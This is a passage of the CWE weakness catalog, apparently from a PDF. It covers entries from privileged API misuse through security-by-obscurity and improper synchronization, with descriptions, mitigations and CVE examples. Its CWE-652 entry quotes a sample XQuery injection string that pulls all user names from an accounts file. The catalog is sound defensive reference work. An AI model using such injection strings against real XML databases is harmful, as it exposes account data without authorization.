Nature	Type	ID	Name	Page
ChildOf	C	269	Improper Privilege Management	589

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	1856

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *An attacker may be able to elevate privileges.*	
Confidentiality	Read Application Data *An attacker may be able to obtain sensitive information.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *An attacker may be able to execute code.*	

Potential Mitigations

Phase: Implementation

Before calling privileged APIs, always ensure that the assumptions made by the privileged code hold true prior to making the call.

Phase: Architecture and Design

Know architecture and implementation weaknesses of the privileged APIs and make sure to account for these weaknesses before calling the privileged APIs to ensure that they can be called safely.

Phase: Implementation

If privileged APIs make certain assumptions about data, context or state validity that are passed by the caller, the calling code must ensure that these assumptions have been validated prior to making the call.

Phase: Implementation

If privileged APIs do not shed their privilege prior to returning to the calling code, then calling code needs to shed these privileges immediately and safely right after the call to the privileged APIs. In particular, the calling code needs to ensure that a privileged thread of execution will never be returned to the user or made available to user-controlled processes.

Phase: Implementation

Only call privileged APIs from safe, consistent and expected state.

Phase: Implementation

Ensure that a failure or an error will not leave a system in a state where privileges are not properly shed and privilege escalation is possible (i.e. fail securely with regards to handling of privileges).

Observed Examples

Reference	Description
CVE-2003-0645	A Unix utility that displays online help files, if installed setuid, could allow a local attacker to gain privileges when a particular file-opening function is called. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0645*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
107	Cross Site Tracing
234	Hijacking a privileged process

CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking

Weakness ID : 649 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses obfuscation or encryption of inputs that should not be mutable by an external actor, but the software does not use integrity checks to detect if those inputs have been modified.

Extended Description

When an application relies on obfuscation or incorrectly applied / weak encryption to protect client-controllable tokens or parameters, that may have an effect on the user state, system state, or some decision made on the server. Without protecting the tokens/parameters for integrity, the application is vulnerable to an attack where an adversary blindly traverses the space of possible values of the said token/parameter in order to attempt to gain an advantage. The goal of the attacker is to find another admissible value that will somehow elevate their privileges in the system, disclose information or change the behavior of the system in some way beneficial to the attacker. If the application does not protect these critical tokens/parameters for integrity, it will not be able to determine that these values have been tampered with. Measures that are used to protect data for confidentiality should not be relied upon to provide the integrity service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	345	Insufficient Verification of Data Authenticity	758

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1020	Verify Message Integrity	1974

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2014

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State *The inputs could be modified without detection, causing the software to have unexpected system state or make incorrect security decisions.*	

Potential Mitigations

Phase: Architecture and Design

Protect important client controllable tokens/parameters for integrity using PKI methods (i.e. digital signatures) or other means, and checks for integrity on the server side.

Phase: Architecture and Design

Repeated requests from a particular user that include invalid values of tokens/parameters (those that should not be changed manually by users) should result in the user account lockout.

Phase: Architecture and Design

Client side tokens/parameters should not be such that it would be easy/predictable to guess another valid state.

Phase: Architecture and Design

Obfuscation should not be relied upon. If encryption is used, it needs to be properly applied (i.e. proven algorithm and implementation, use padding, use random initialization vector, user proper encryption mode). Even with proper encryption where the ciphertext does not leak information about the plaintext or reveal its structure, compromising integrity is possible (although less likely) without the provision of the integrity service.

Observed Examples

Reference	Description
CVE-2005-0039	An IPSec configuration does not perform integrity checking of the IPSec packet as the result of either not configuring ESP properly to support the integrity service or using AH improperly. In either case, the security gateway receiving the IPSec packet would not validate the integrity of the packet to ensure that it was not changed. Thus if the packets were intercepted the attacker could undetectably change some of the bits in the packets. The meaningful bit flipping was possible due to the known weaknesses in the CBC encryption mode. Since the attacker knew the structure of the packet, they were able (in one variation of the attack) to use bit flipping to change the destination IP

Reference	Description
	of the packet to the destination machine controlled by the attacker. And so the destination security gateway would decrypt the packet and then forward the plaintext to the machine controlled by the attacker. The attacker could then read the original message. For instance if VPN was used with the vulnerable IPSec configuration the attacker could read the victim's e-mail. This vulnerability demonstrates the need to enforce the integrity service properly when critical data could be modified by an attacker. This problem might have also been mitigated by using an encryption mode that is not susceptible to bit flipping attacks, but the preferred mechanism to address this problem still remains message verification for integrity. While this attack focuses on the network layer and requires an entity that controls part of the communication path such as a router, the situation is not much different at the software level, where an attacker can modify tokens/parameters used by the application. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0039*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	1946

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
463	Padding Oracle Crypto Attack

CWE-650: Trusting HTTP Permission Methods on the Server Side

Weakness ID : 650 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The server contains a protection mechanism that assumes that any URI that is accessed using HTTP GET will not cause a state change to the associated resource. This might allow attackers to bypass intended access restrictions and conduct resource modification and deletion attacks, since some applications allow GET to modify state.

Extended Description

The HTTP GET method and some other methods are designed to retrieve resources and not to alter the state of the application or resources on the server side. Furthermore, the HTTP specification requires that GET requests (and other requests) should not have side effects. Believing that it will be enough to prevent unintended resource alterations, an application may disallow the HTTP requests to perform DELETE, PUT and POST operations on the resource representation. However, there is nothing in the HTTP protocol itself that actually prevents the HTTP GET method from performing more than just query of the data. Developers can easily code programs that accept a HTTP GET request that do in fact create, update or delete data on the server. For instance, it is a common practice with REST based Web Services to have HTTP GET requests modifying resources on the server side. However, whenever that happens, the access control needs to be properly enforced in the application. No assumptions should be made that only HTTP DELETE, PUT, POST, and other methods have the power to alter the representation of the resource being accessed in the request.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	436	Interpretation Conflict	944

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *An attacker could escalate privileges.*	
Integrity	Modify Application Data *An attacker could modify resources.*	
Confidentiality	Read Application Data *An attacker could obtain sensitive information.*	

Potential Mitigations

Phase: System Configuration

Configure ACLs on the server side to ensure that proper level of access control is defined for each accessible resource representation.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	945	SFP Secondary Cluster: Insecure Resource Access	888	1933

CWE-651: Exposure of WSDL File Containing Sensitive Information

Weakness ID : 651 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The Web services architecture may require exposing a Web Service Definition Language (WSDL) file that contains information on the publicly accessible services and how callers of these services should interact with them (e.g. what parameters they expect and what types they return).

Extended Description

An information exposure may occur if any of the following apply:

1. The WSDL file is accessible to a wider audience than intended.

2. The WSDL file contains information on the methods/services that should not be publicly accessible or information about deprecated methods. This problem is made more likely due to the WSDL often being automatically generated from the code.
3. Information in the WSDL file helps guess names/locations of methods/resources that should not be publicly accessible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	538	Insertion of Sensitive Information into Externally-Accessible File or Directory	1111

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Often)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *The attacker may find sensitive information located in the WSDL file.*	

Potential Mitigations

Phase: Architecture and Design

Limit access to the WSDL file as much as possible. If services are provided only to a limited number of entities, it may be better to provide WSDL privately to each of these entities than to publish WSDL publicly.

Phase: Architecture and Design

Strategy = Separation of Privilege

Make sure that WSDL does not describe methods that should not be publicly accessible. Make sure to protect service methods that should not be publicly accessible with access controls.

Phase: Architecture and Design

Do not use method names in WSDL that might help an adversary guess names of private methods/resources used by the service.

Demonstrative Examples

Example 1:

The WSDL for a service providing information on the best price of a certain item exposes the following method: float getBestPrice(String ItemID) An attacker might guess that there is a method setBestPrice (String ItemID, float Price) that is available and invoke that method to try and change the best price of a given item to their advantage. The attack may succeed if the attacker correctly guesses the name of the method, the method does not have proper access controls around it and the service itself has the functionality to update the best price of the item.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	966	SFP Secondary Cluster: Other Exposures	888	1943

CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')

Weakness ID : 652 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses external input to dynamically construct an XQuery expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.

Extended Description

The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	91	XML Injection (aka Blind XPath Injection)	200
ChildOf	G	943	Improper Neutralization of Special Elements in Data Query Logic	1624

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *An attacker might be able to read sensitive information from the XML database.*	

Potential Mitigations

Phase: Implementation

Use parameterized queries. This will help ensure separation between data plane and control plane.

Phase: Implementation

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XQL queries is safe in that context.

Demonstrative Examples

Example 1:

An attacker may pass XQuery expressions embedded in an otherwise standard XML document. The attacker tunnels through the application entry point to target the resource access layer. The string below is an example of an attacker accessing the accounts.xml to request the service provider send all user names back. doc(accounts.xml)//user[name='*'] The attacks that are possible through XQuery are difficult to predict, if the data is not validated prior to executing the XQL.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	1929
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Relationship

This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	46		XQuery Injection
Software Fault Patterns	SFP24		Tainted input to command

CWE-653: Insufficient Compartmentalization

Weakness ID : 653 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product does not sufficiently compartmentalize functionality or processes that require different privilege levels, rights, or permissions.

Extended Description

When a weakness occurs in functionality that is accessible by lower-privileged users, then without strong boundaries, an attack might extend the scope of the damage to higher-privileged users.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
ChildOf		657	Violation of Secure Design Principles	1287

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Separation of Privilege : Some people and publications use the term "Separation of Privilege" to describe this weakness, but this term has dual meanings in current usage. This node conflicts with the original definition of "Separation of Privilege" by Saltzer and Schroeder; that original definition is more closely associated with CWE-654. Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism *The exploitation of a weakness in low-privileged areas of the software can be leveraged to reach higher-privileged areas without having to overcome any additional obstacles.*	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Compare binary / bytecode to application permission manifest

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Break up privileges between different modules, objects or entities. Minimize the interfaces between modules and require strong access control between them.

Demonstrative Examples

Example 1:

Single sign-on technology is intended to make it easier for users to access multiple resources or domains without having to authenticate each time. While this is highly convenient for the user and attempts to address problems with psychological acceptability, it also means that a compromise of a user's credentials can provide immediate access to all other resources or domains.

Example 2:

The traditional UNIX privilege model provides root with arbitrary access to all resources, but root is frequently the only user that has privileges. As a result, administrative tasks require root privileges, even if those tasks are limited to a small area, such as updating user manpages. Some UNIX flavors have a "bin" user that is the owner of system executables, but since root relies on executables owned by bin, a compromise of the bin account can be leveraged for root privileges by modifying a bin-owned executable, such as CVE-2007-4238.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	901	SFP Primary Cluster: Privilege	888	1926

Notes

Relationship

There is a close association with CWE-250 (Execution with Unnecessary Privileges). CWE-653 is about providing separate components for each privilege; CWE-250 is about ensuring that each component has the least amount of privileges possible. In this fashion, compartmentalization becomes one mechanism for reducing privileges.

Terminology

The term "Separation of Privilege" is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (this node) and using only one factor in a security decision (CWE-654). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization, such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.

References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

[REF-535]Sean Barnum and Michael Gegick. "Separation of Privilege". 2005 December 6. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/357.html >.

CWE-654: Reliance on a Single Factor in a Security Decision

Weakness ID : 654 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A protection mechanism relies exclusively, or to a large extent, on the evaluation of a single condition or the integrity of a single object or entity in order to make a decision about granting access to restricted resources or functionality.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
ChildOf	C	657	Violation of Secure Design Principles	1287
ParentOf	B	308	Use of Single-factor Authentication	682
ParentOf	B	309	Use of Password System for Primary Authentication	684

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Separation of Privilege : Some people and publications use the term "Separation of Privilege" to describe this weakness, but this term has dual meanings in current usage. While this node is closely associated with the original definition of "Separation of Privilege" by Saltzer and Schroeder, others use the same term to describe poor compartmentalization (CWE-653). Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *If the single factor is compromised (e.g. by theft or spoofing), then the integrity of the entire security mechanism can be violated with respect to the user that is identified by that factor.*	
Non-Repudiation	Hide Activities *It can become difficult or impossible for the product to be able to distinguish between legitimate activities by the entity who provided the factor, versus illegitimate activities by an attacker.*	

Potential Mitigations

Phase: Architecture and Design

Use multiple simultaneous checks before granting access to critical operations or granting critical privileges. A weaker but helpful mitigation is to use several successive checks (multiple layers of security).

Phase: Architecture and Design

Use redundant access rules on different choke points (e.g., firewalls).

Demonstrative Examples

Example 1:

Password-only authentication is perhaps the most well-known example of use of a single factor. Anybody who knows a user's password can impersonate that user.

Example 2:

When authenticating, use multiple factors, such as "something you know" (such as a password) and "something you have" (such as a hardware-based one-time password generator, or a biometric device).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	1946

Notes

Maintenance

This node is closely associated with the term "Separation of Privilege." This term is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (CWE-653) and using only one factor in a security decision (this node). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization, such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
274	HTTP Verb Tampering

References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

[REF-535]Sean Barnum and Michael Gegick. "Separation of Privilege". 2005 December 6. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/357.html >.

CWE-655: Insufficient Psychological Acceptability

Weakness ID : 655 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software has a protection mechanism that is too difficult or inconvenient to use, encouraging non-malicious users to disable or bypass the mechanism, whether by accident or on purpose.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
ChildOf		657	Violation of Secure Design Principles	1287

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *By bypassing the security mechanism, a user might leave the system in a less secure state than intended by the administrator, making it more susceptible to compromise.*	

Potential Mitigations

Phase: Testing

Where possible, perform human factors and usability studies to identify where your product's security mechanisms are difficult to use, and why.

Phase: Architecture and Design

Make the security mechanism as seamless as possible, while also providing the user with sufficient details when a security decision produces unexpected results.

Demonstrative Examples

Example 1:

In "Usability of Security: A Case Study" [REF-540], the authors consider human factors in a cryptography product. Some of the weakness relevant discoveries of this case study were: users accidentally leaked sensitive information, could not figure out how to perform some tasks, thought they were enabling a security option when they were not, and made improper trust decisions.

Example 2:

Enforcing complex and difficult-to-remember passwords that need to be frequently changed for access to trivial resources, e.g., to use a black-and-white printer. Complex password requirements can also cause users to store the passwords in an unsafe manner so they don't have to remember them, such as using a sticky note or saving them in an unencrypted file.

Example 3:

Some CAPTCHA utilities produce images that are too difficult for a human to read, causing user frustration.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	995	SFP Secondary Cluster: Feature	888	1957

Notes

Other

This weakness covers many security measures causing user inconvenience, requiring effort or causing frustration, that are disproportionate to the risks or value of the protected assets, or that are perceived to be ineffective.

References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

[REF-539]Sean Barnum and Michael Gegick. "Psychological Acceptability". 2005 September 5. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/354.html >.

[REF-540]J. D. Tygar and Alma Whitten. "Usability of Security: A Case Study". SCS Technical Report Collection, CMU-CS-98-155. 1998 December 5. < http://reports-archive.adm.cs.cmu.edu/anon/1998/CMU-CS-98-155.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-656: Reliance on Security Through Obscurity

Weakness ID : 656 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software uses a protection mechanism whose strength depends heavily on its obscurity, such that knowledge of its algorithms or key data is sufficient to defeat the mechanism.

Extended Description

This reliance on "security through obscurity" can produce resultant weaknesses if an attacker is able to reverse engineer the inner workings of the mechanism. Note that obscurity can be one small part of defense in depth, since it can create more work for an attacker; however, it is a significant risk if used as the primary means of protection.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
ChildOf	C	657	Violation of Secure Design Principles	1287
CanPrecede	V	259	Use of Hard-coded Password	569
CanPrecede	V	321	Use of Hard-coded Cryptographic Key	709
CanPrecede	B	472	External Control of Assumed-Immutable Web Parameter	1001

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Never Assuming your secrets are safe :

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Other	Other *The security mechanism can be bypassed easily.*	

Potential Mitigations

Phase: Architecture and Design

Always consider whether knowledge of your code or design is sufficient to break it. Reverse engineering is a highly successful discipline, and financially feasible for motivated adversaries. Black-box techniques are established for binary analysis of executables that use obfuscation, runtime analysis of proprietary protocols, inferring file formats, and others.

Phase: Architecture and Design

When available, use publicly-vetted algorithms and procedures, as these are more likely to undergo more extensive security analysis and testing. This is especially the case with encryption and authentication.

Demonstrative Examples

Example 1:

The design of TCP relies on the secrecy of Initial Sequence Numbers (ISNs), as originally covered in CVE-1999-0077. If ISNs can be guessed (due to predictability, CWE-330) or sniffed (due to lack of encryption, CWE-311), then an attacker can hijack or spoof connections. Many TCP implementations have had variations of this problem over the years, including CVE-2004-0641, CVE-2002-1463, CVE-2001-0751, CVE-2001-0328, CVE-2001-0288, CVE-2001-0163, CVE-2001-0162, CVE-2000-0916, and CVE-2000-0328.

Observed Examples

Reference	Description
CVE-2006-6588	Reliance on hidden form fields in a web application. Many web application vulnerabilities exist because the developer did not consider that "hidden" form fields can be processed using a modified client. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6588*
CVE-2006-7142	Hard-coded cryptographic key stored in executable program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7142*
CVE-2005-4002	Hard-coded cryptographic key stored in executable program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4002*
CVE-2006-4068	Hard-coded hashed values for username and password contained in client-side script, allowing brute-force offline attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4068*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	1946

Notes

Relationship

Note that there is a close relationship between this weakness and CWE-603 (Use of Client-Side Authentication). If developers do not believe that a user can reverse engineer a client, then they are more likely to choose client-side authentication in the belief that it is safe.

References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

[REF-544]Sean Barnum and Michael Gegick. "Never Assuming that Your Secrets Are Safe". 2005 September 4. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/352.html >.

CWE-657: Violation of Secure Design Principles

Weakness ID : 657 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product violates well-established principles for secure design.

Extended Description

This can introduce resultant weaknesses or make it easier for developers to introduce related weaknesses during implementation. Because code is centered around design, it can be resource-intensive to fix design problems.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365
ParentOf	B	250	Execution with Unnecessary Privileges	547
ParentOf	C	636	Not Failing Securely ('Failing Open')	1245
ParentOf	C	637	Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')	1247
ParentOf	C	638	Not Using Complete Mediation	1249
ParentOf	B	653	Insufficient Compartmentalization	1279
ParentOf	B	654	Reliance on a Single Factor in a Security Decision	1281
ParentOf	B	655	Insufficient Psychological Acceptability	1283
ParentOf	B	656	Reliance on Security Through Obscurity	1285
ParentOf	C	671	Lack of Administrator Control over Security	1309
ParentOf	B	1192	System-on-Chip (SoC) Using Components without Unique, Immutable Identifiers	1731

Common Consequences

Scope	Impact	Likelihood
Other	Other	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	1946

References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

[REF-546]Sean Barnum and Michael Gegick. "Design Principles". 2005 September 9. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/358.html >.

CWE-662: Improper Synchronization

Weakness ID : 662 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software utilizes multiple threads or processes to allow temporary access to a shared resource that can only be exclusive to one process at a time, but it does not properly synchronize these actions, which might cause simultaneous accesses of this resource by multiple threads or processes.

Extended Description

Synchronization refers to a variety of behaviors and mechanisms that allow two or more independently-operating processes or threads to ensure that they operate on shared resources in predictable ways that do not interfere with each other. Some shared resource operations cannot be executed atomically; that is, multiple steps must be guaranteed to execute sequentially, without any interference by other processes. Synchronization mechanisms vary widely, but they may include locking, mutexes, and semaphores. When a multi-step operation on a shared resource cannot be guaranteed to execute independent of interference, then the resulting behavior can be unpredictable. Improper synchronization could lead to data or memory corruption, denial of service, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf	B	663	Use of a Non-reentrant Function in a Concurrent Context	1290
ParentOf	C	667	Improper Locking	1299
ParentOf	B	820	Missing Synchronization	1512
ParentOf	B	821	Incorrect Synchronization	1514

Nature	Type	ID	Name	Page
ParentOf	B	1058	Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element	1660
CanPrecede	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	793

